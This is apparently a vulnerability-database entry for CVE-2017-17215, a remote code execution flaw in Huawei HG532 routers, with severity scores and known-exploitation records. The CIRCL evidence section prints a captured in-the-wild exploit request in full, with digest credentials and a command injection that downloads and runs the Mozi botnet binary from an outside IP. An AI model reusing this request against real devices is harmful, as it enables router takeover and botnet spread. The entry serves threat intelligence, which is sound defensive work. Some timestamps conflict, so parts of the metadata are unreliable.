CVE-2017-17215 (GCVE-0-2017-17215)

Vulnerability from cvelistv5 – Published: 2018-03-20 15:00 – Updated: 2024-08-05 20:43
VLAI CIRCL Previdian
Summary
Huawei HG532 with some customized versions has a remote code execution vulnerability. An authenticated attacker could send malicious packets to port 37215 to launch attacks. Successful exploit could lead to the remote execution of arbitrary code.
Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE
  • remote code execution
Assigner
References
Impacted products
Vendor Product Version
Huawei Technologies Co., Ltd. HG532 Affected: customized versions
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Date Public
2017-11-30 00:00
CIRCL
Known Exploited Vulnerability - GCVE BCP-07 Compliant
KEV entry ID: f4f43160-12d2-41a0-9dcf-d016d5bd8761

Vulnerability ID: CVE-2017-17215

Status: Confirmed

Status Updated: 2026-03-12 11:42 CET

Exploited: Yes

Characteristics
Remote Code Execution: Yes
Authentication Required: No
Local Access Required: Remote
Severity: 100.0
Timestamps
First Seen: 2026-03-12
Asserted: 2026-03-12
Last Seen: 2026-03-12
Evidence

Type: Sinkhole

Signal: In The Wild Attempts

Confidence: 100%

Source: cti-feed.circl.lu

Details
Note POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Host: 193.168.124.237:37215 Content-Length: 601 Connection: keep-alive Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"> <NewStatusURL>$(/bin/busybox wget -g 180.243.2.45:51387 -l /tmp/huawei -r /Mozi.m;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL> <NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL> </u:Upgrade></s:Body></s:Envelope>
Created: 2026-10-02 08:56 CEST | Updated: 2026-03-12 11:42 CET
Previdian
Known Exploited Vulnerability - GCVE BCP-07 Compliant
KEV entry ID: a83958ee-0b88-4789-9ff4-a99540ef5033

Vulnerability ID: CVE-2017-17215

Status: Confirmed

Status Updated: 2025-04-28 02:00 CEST

Exploited: Yes

Timestamps
First Seen: 2025-04-28
Asserted: 2025-04-28
Scope
Notes: Huawei HG532 with some customized versions has a remote code execution vulnerability. An authenticated attacker could send malicious packets to... | Affected: Huawei / HG532 | CVSS: 8.8 (HIGH) | EPSS: 0.78278 | Used in malware: yes | Not yet in CISA KEV: True
Evidence

Type: Public Report

Signal: Confirmed Compromise

Confidence: 70%

Source: previdian

Details
Feed Previdian (previdian.com)
Title Huawei HG532 with some customized versions has a remote code execution vulnerability. An authenticated attacker could send malicious packets to...
Cve Id CVE-2017-17215
Vendor Huawei
Ghsa Id None
Product HG532
Added Date 2025-04-28T00:00:00.000Z
Cvss Score 8.8
Epss Score 0.78278
Previous Ids
Cvss Severity HIGH
Virtual Patch False
Cvss Estimated False
Epss Percentile 0.99568
Used In Malware yes
Vulnerability Id CVE-2017-17215
Ahead Of Cisa Kev None
Not Yet In Cisa Kev True
References
Created: 2026-10-02 09:10 CEST | Updated: 2026-10-02 09:10 CEST
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